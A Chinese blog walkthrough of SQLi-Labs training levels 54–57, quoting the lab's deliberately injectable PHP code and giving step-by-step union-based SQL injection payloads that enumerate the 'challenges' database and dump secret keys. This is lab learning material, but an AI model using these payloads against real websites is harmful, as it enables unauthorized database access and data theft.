首页 > 数据库 >SQL-Labs靶场“54-57”关通关教程

SQL-Labs靶场“54-57”关通关教程

时间:2024-03-27 11:29:06浏览次数:30  
标签:54 57 echo Labs --+ challenge table id 注入

君衍.


SQL-Labs靶场通关教程:

SQL注入第一课

SQL无列名注入

SQL报错注入原理

简单的SQL练习,联合注入、报错注入

POST提交方式注入

HTTP头部注入

二次注入

一些绕过案例

HTTP参数污染攻击

一、54关 基于GET的cookie10单引号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述
从主页面中我们可以看到这里显示:

The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 10 attempts
For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.

翻译即为:
此挑战的目标是在少于 10 次尝试中仅从数据库(“挑战”)的随机表中转储(密钥)
为了好玩,每次重置时,挑战都会随机生成表名、列名、表数据。始终保持新鲜。


所以我们这里进行注入需要注意注入的次数,10次进行表名以及列名的变更,所以查看源码:

1、源码分析

if(!isset($_POST['answer_key']))
{
	if(isset($_POST['reset']))
	{
		setcookie('challenge', ' ', time() - 3600000);
		echo "<font size=4>You have reset the Challenge</font><br>\n";
		echo "Redirecting you to main challenge page..........\n";
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
	}
	else
	{
		if(isset($_COOKIE['challenge']))
		{
			$sessid=$_COOKIE['challenge'];
		}
		else
		{
			$expire = time()+60*60*24*30;
			$hash = data($table,$col);
			setcookie("challenge", $hash, $expire);
		}
		echo "<br>\n";
		if(isset($_GET['id']))
		{
			$id=$_GET['id'];
			$fp=fopen('result.txt','a');
			fwrite($fp,'ID:'.$id."\n");
			fclose($fp);
			next_tryy();
			$tryyy = view_attempts();
			echo "You have made : ". $tryyy ." of $times attempts";
			echo "<br><br><br>\n";
			if($tryyy >= ($times+1))
			{
				setcookie('challenge', ' ', time() - 3600000);
				echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
				echo "Redirecting you to challenge page..........\n";
				header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
				echo "<br>\n";
			}	
			$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
			$result=mysqli_query($con1, $sql);
			$row = mysqli_fetch_array($result, MYSQLI_BOTH);
			if($row)
			{
				echo 'Your Login name:'. $row['username'];
				echo 'Your Password:' .$row['password'];
			}
			else 
			{
				# 这里可以看到对于报错回显进行了注释
//				print_r(mysqli_error($con1));
			}
		}
		else
		{
			echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
			echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
			echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
		}
	}
else
{
	echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
	$key = addslashes($_POST['key']);
	$key = mysqli_real_escape_string($con1, $key);
	//echo $key;
	//Query table to verify your result
	$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
	//echo "$sql";
	$result=mysqli_query($con1, $sql)or die("error in submittion of Key Solution".mysqli_error($con1));
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
		echo '<img src="../images/Less-54-1.jpg" />';
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );	
	}
	else 
	{
		echo '<img src="../images/slap1.jpg" />';
		header( "refresh:3;url=index.php" );
		//print_r(mysqli_error($con1));
			}	
}

将源码进行简化即为:

if reset:
    # 根据时间戳生成 cookie
    setcookie('challenge', ' ', time() - 3600000);
else:
    if cookie 中有 challenge:
        $sessid=$_COOKIE['challenge'];
    else:
        # 生成 cookie 
        $expire = time()+60*60*24*30;
        $hash = data($table,$col);
        setcookie("challenge", $hash, $expire);
    if $_GET['id']:
        计数器 + 1
        $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    if 有查询成功:
        输出查询信息
    else:
        注释掉报错信息
# key进行了双重过滤
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";

对于最后两个转义函数,我们去PHP官网查:
在这里插入图片描述
在这里插入图片描述
这里我们即可看到将一些特殊字符进行了添加双斜线转义掉了,同时addslashes函数:
在这里插入图片描述
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在10次之内完成数据的查询。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

首先我们进行闭合测试:

?id=1'--+

在这里插入图片描述
猜测字段数:

?id=1' order by 3--+
?id=1' order by 4--+

在这里插入图片描述
在这里插入图片描述
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:

爆出数据库名称以及版本

?id=-1' union select 1,database(),version()--+

在这里插入图片描述
可以看到这里次数为4次,其实我们在数据库中也可看到:
在这里插入图片描述

爆出数据库下的表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述

爆出数据库该表下的列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='8cqmugw4eq'--+

在这里插入图片描述

爆出数据

?id=-1'union select 1,group_concat(secret_99OO),3 from 8cqmugw4eq--+

二、55关 基于GET的cookie14括号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=($id)

在这里插入图片描述
可以看到本关其实是将54关的10次变为了14次


所以我们这里进行注入需要注意注入的次数,14次进行表名以及列名的变更,所以查看源码:

1、源码分析

···
# 同54关相同
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
···
# 同54关相同

所以,基本与54关相同,只是闭合方式以及经过14次变更一次。
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在14次之内完成数据的查询。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

首先我们进行闭合测试:

?id=1)--+

在这里插入图片描述
猜测字段数:

?id=1) order by 3--+
?id=1) order by 4--+

在这里插入图片描述
在这里插入图片描述
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:

爆出数据库名称以及版本

?id=-1) union select 1,database(),version()--+

在这里插入图片描述
可以看到这里次数为4次。

爆出数据库下的表名

?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述
这里我们可以看到表名为rznc16rt9l。

爆出数据库该表下的列名

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='rznc16rt9l'--+

在这里插入图片描述

爆出数据

?id=-1)union select 1,group_concat(secret_7UOQ),3 from rznc16rt9l--+

在这里插入图片描述
即可拿到KEY:iS1JwXh48cORBizJujzCdqp4
提交即可:
在这里插入图片描述
在这里插入图片描述
即可成功。

三、56关 基于GET的cookie14变形注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

在这里插入图片描述
可以看到本关其实是将54关的10次变为了14次


所以我们这里进行注入需要注意注入的次数,14次进行表名以及列名的变更,所以查看源码:

1、源码分析

···
# 同55关相同
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
···
# 同55关相同

所以,基本与54关相同,只是闭合方式以及经过14次变更一次。
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在14次之内完成数据的查询。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

首先我们进行闭合测试:

?id=1')--+

在这里插入图片描述

猜测字段数:

?id=1') order by 3--+
?id=1') order by 4--+

在这里插入图片描述
在这里插入图片描述
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:

爆出数据库名称以及版本

?id=-1') union select 1,database(),version()--+

在这里插入图片描述
可以看到这里次数为4次。

爆出数据库下的表名

?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述

这里我们可以看到表名为fw517irv6n。

爆出数据库该表下的列名

?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='fw517irv6n'--+

在这里插入图片描述

爆出数据

?id=-1')union select 1,group_concat(secret_I9BC),3 from fw517irv6n--+

在这里插入图片描述
即可拿到KEY:9uOZSS3QkzTRYcFfGLdQIKtW
提交即可:
在这里插入图片描述
在这里插入图片描述
即可成功。

四、57关 基于GET的cookie14双引号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=“$id”

在这里插入图片描述
可以看到本关其实是将54关的10次变为了14次


所以我们这里进行注入需要注意注入的次数,14次进行表名以及列名的变更,所以查看源码:

1、源码分析

···
# 同55关相同
$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
···
# 同55关相同

所以,基本与54关相同,只是闭合方式以及经过14次变更一次。
这里我们通过查看源码得知,报错信息过滤掉了,所以我们这里将无法使用报错注入,但是其进行了查询内容的回显操作,所以我们之后可以进行尝试使用联合查询注入方式。同时需要注意在14次之内完成数据的查询。
在这里插入图片描述

2、联合查询注入

首先我们进行闭合测试:

?id=1"--+

在这里插入图片描述
猜测字段数:

?id=1" order by 3--+
?id=1" order by 4--+

在这里插入图片描述
在这里插入图片描述
即可判断出该表的字段数为3,使用联合查询字段为3进行注入:

爆出数据库名称以及版本

?id=-1" union select 1,database(),version()--+

在这里插入图片描述
可以看到这里次数为4次。

爆出数据库下的表名

?id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述

这里我们可以看到表名为vdfyos1k3u。

爆出数据库该表下的列名

?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='vdfyos1k3u'--+

在这里插入图片描述

爆出数据

?id=-1"union select 1,group_concat(secret_OWAM),3 from vdfyos1k3u--+

在这里插入图片描述
即可拿到KEY:lNSkfAXurdsWBZfo27l0bKuh
提交即可:
在这里插入图片描述
在这里插入图片描述
即可成功。

标签:54,57,echo,Labs,--+,challenge,table,id,注入
From: https://blog.csdn.net/weixin_63172698/article/details/136905176

相关文章

  • P2854 [USACO06DEC] Cow Roller Coaster S
    原题链接题解1.当没有花费限制的时候,我们可以将其抽象为简单的背包问题2.如果有了花费限制,那么我们就再加一维条件3.如果一个线段能用,那么它前面一定是铺满的,那我们令线段按起点排序,通过某种运算,保证放这个线段时,前面的线段组成是最优的比如在\(i\)点结尾位置花费\(j\)所......
  • 代码随想录算法训练营第十七天|110.平衡二叉树、257.二叉树的所有路径、404.左叶子之
    文档链接:https://programmercarl.com/LeetCode110.平衡二叉树题目链接:https://leetcode.cn/problems/balanced-binary-tree/思路:这里强调一波概念:二叉树节点的深度:指从根节点到该节点的最长简单路径边的条数。二叉树节点的高度:指从该节点到叶子节点的最长简单路径边的条数......
  • 07天【代码随想录算法训练营34期】 第三章 哈希表part02(● 454.四数相加II ● 383.
    454.四数相加IIclassSolution:deffourSumCount(self,nums1:List[int],nums2:List[int],nums3:List[int],nums4:List[int])->int:table=dict()foriinnums1:forjinnums2:if(i+j)intable:......
  • 【IT老齐057】Raft选举算法
    【IT老齐057】Raft选举算法用途Raft算法是分布式系统开发首选的共识算法主要在分布式集群架构下进行领导者(主节点)的确认。比如现在流行的组件Etcd、Consul、Nacos、RocketMQ、RedisSentinel底层都是采用Raft算法来确认集群中的主节点,再通过主节点向其他节点下发指令......
  • 【IT老齐054】MongoDB介绍
    【IT老齐054】MongoDB介绍场景特点多形性:同一个集合中可以包含不同字段(类型)的文档对象动态性:线上修改数据模式,修改是应用与数据库均无须下线数据治理:支持使用JSONSchema来规范数据模式。在保证模式灵活动态的前提下,提供数据治理能力速度优势数据库引擎只需要在......
  • 深度学习-卷积神经网络-目标检测YOLO-v5-训练以及推理-57
    目录1.下载代码2.创建虚拟环境安装依赖3.数据集的准备4.配置data.yaml5.修改模型网络的配置文件6.下载一份预训练的模型权重文件放在根目录7.开始训练8.结果9.tensorboard查看训练10.推理1.下载代码https://github.com/ultralytics/yolov5/releases2.创建虚拟......
  • 54文章解读与程序——论文可在知网下载-含sop配电网重构+故障6-7+yalmip+二阶锥---已
    ......
  • 代码随想录第20天| 654.最大二叉树 617.合并二叉树
     654.最大二叉树654.最大二叉树-力扣(LeetCode)代码随想录(programmercarl.com)又是构造二叉树,又有很多坑!|LeetCode:654.最大二叉树_哔哩哔哩_bilibili给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建:创建一个根节点,其值为 ......
  • CSCI 5708移动计算
    CSCI4176/CSCI5708移动计算截止日期:2023年11月14日星期日下午11点59分提交:在Brightspace请阅读-所有课业的一般重要说明:•对于要求您进行在线搜索的研究类型ques/ons或ques/ons,请确保您的答案中正确引用了所有参考文献。使用IEEE参考样式。•请记住,不能仅仅因为引用了参考文......
  • Oracle-12541无监听或者链接一直未响应
    近日Oracle服务器断电重启后服务挂了,现记录下主要的修复步骤1.检查磁盘空寂是否股够df-h2.服务挂载并启动服务器登录oracle帐号依次输入下列命令:sqlplus /assysdbashutdownimmedicatestartup3.服务启动测试退出linux终端,重新打开登陆sqlplus输入帐号/秘密:system......